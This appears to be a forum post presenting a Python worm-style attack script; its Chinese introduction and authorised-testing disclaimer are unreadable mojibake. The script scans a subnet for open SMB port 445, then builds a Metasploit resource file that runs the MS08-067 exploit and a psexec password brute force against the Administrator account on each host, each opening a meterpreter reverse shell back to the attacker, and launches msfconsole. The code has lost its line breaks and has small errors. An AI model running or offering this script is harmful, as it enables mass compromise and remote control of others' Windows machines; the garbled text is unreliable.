|
|
|
杩欐槸涓涓敤浜嶹indows婕忔礊鏀诲嚮鐨凱ython鑴氭湰锛屽畠浼氫娇鐢∟map鎵弿鎸囧畾IP鍦板潃娈典腑寮鏀剧殑445绔彛锛屾煡鎵炬綔鍦ㄧ殑鐩爣涓绘満銆傜劧鍚庯紝瀹冧細浣跨敤Metasploit妗嗘灦鎻愪緵鐨勪竴浜涙ā鍧楁墽琛孍xploit锛屽苟灏濊瘯鍦ㄧ洰鏍囦富鏈轰笂閮ㄧ讲鎭舵剰浠g爜鎴栬呮鍏ュ悗闂紝浠ヨ幏鍙栫洰鏍囨満鍣ㄧ殑鎺у埗鏉冦傚叿浣撴潵璇达紝璇ヨ剼鏈細鎵ц浠ヤ笅鎿嶄綔锛
1锛氭牴鎹寚瀹氱殑瀛愮綉IP鍦板潃鎵弿鎵鏈変富鏈猴紱
2锛氶拡瀵瑰紑鏀句簡445绔彛鐨勪富鏈猴紝浣跨敤Metasploit妗嗘灦鎵цExploit锛
3锛氶氳繃Metasploit妗嗘灦鍦ㄧ洰鏍囦富鏈轰笂鎵цPayload锛岄儴缃叉伓鎰忎唬鐮侊紱
4锛氬湪瀹屾垚鏀诲嚮涔嬪悗锛孧etasploit妗嗘灦浼氬紑鍚竴涓狹eterpreter鍚庨棬锛岀瓑寰呮笚閫忔祴璇曚汉鍛樿繙绋嬫帶鍒剁洰鏍囦富鏈恒
闇瑕佹敞鎰忕殑鏄紝姝よ剼鏈粎鐢ㄤ簬瀹夊叏娴嬭瘯鍜屾巿鏉冩笚閫忚瘎浼般傚湪鏈粡鎺堟潈鐨勬儏鍐典笅浣跨敤姝よ剼鏈紝鍙兘瀵艰嚧鎮ㄧ殑琛屼负杩濆弽鐩稿簲鐨勬硶寰嬫硶瑙勫拰閬撳痉鏍囧噯銆- import osimport optparseimport sysimport nmapdef findTgts(subNet): nmScan = nmap.PortScanner() nmScan.scan(subNet, '445') tgtHosts = [] for host in nmScan.all_hosts(): if nmScan[host].has_tcp(445): state = nmScan[host] ['tcp'] [445] ['state'] if state == 'open': print("[+] Found Target Host: " + host) tgtHosts.append(host) return tgtHostsdef setupHandler(configFile, lhost, lport): configFile.write('use exploit/multi/handler\n') configFile.write('set payload '+\ 'windows/meterpreter/reverse_tcp\n') configFile.write('set LPORT' + str(lport) + '\n') configFile.write('set LHOST' + lhost + '\n') configFile.write('exploit -j -z\n') configFile.write('setg DisablePayloadHandler 1\n')def confickerExploit(configFile, tgtHost, lhost, lport): configFile.write('use exploit/windows/smb/ms08_067_netapi\n') configFile.write('ste RHOST ' + str(tgtHost) + '\n') configFile.write('set payload '+\ 'windows/meterpreter/reverse_tcp\n') configFile.write('set LPORT ' + str(lport) + '\n') configFile.write('set LHOST ' + lhost + '\n') configFile.write('exploit -j -z\n')def smbBrute(configFile, tgtHost, passwdFile, lhost, lport): username = 'Administrator' pF = open(passwdFile, 'r') for password in pF.readlines(): password = password.strip('\n').strip('\r') configFile.write('use exploit/windows/smb/psexec\n') configFile.write('set SMBUser ' + str(username) + '\n') configFile.write('set SMBPass ' + str(password) + '\n') configFile.write('set RHOST ' + str(tgtHost) + '\n') configFile.write('set payload ' +\ 'windows/meterpreter/reverse_tcp\n') configFile.write('set LPORT ' + str(lport) + '\n') configFile.write('set LHOST ' + lhost + '\n') configFile.write('exploit -j -z\n')def main(): configFile = open('meta.rc', 'w') parser = optparse.OptionParser('[-] Usage%prog '+\ '-H <RHOST[s]> -1 <LHOST> [-p <LPORT> -F <Password File>]') parser.add_option('-H', dest='tgtHost', type='string', \ help='specify the target address[es]') parser.add_option('-p', dest='lport', type='string', \ help='specify the listen port') parser.add_option('-l', dest='lhost', type='string', \ help='specify the listen address') parser.add_option('-F', dest='passwdFile', type='string', \ help='password file for SMB brute force attempt') (options, args) = parser.parse_args() if (options.tgtHost == None) | (options.lhost == None): print(parser.usage) exit(0) lhost = options.lhost lport = options.lport if lport == None: lport = '1337' passwdFile = options.passwdFile tgtHosts = findTgts(options.tgtHost) setupHandler(configFile, lhost, lport) for tgtHost in tgtHosts: confickerExploit(configFile, tgtHost, lhost, lport) if passwdFile != None: smbBrute(configFile, tgtHost, passwdFile, lhost, lport) configFile.close() os.system('msfconsole -r meta.rc')if __name__=='__main__': main()
复制代码 |
|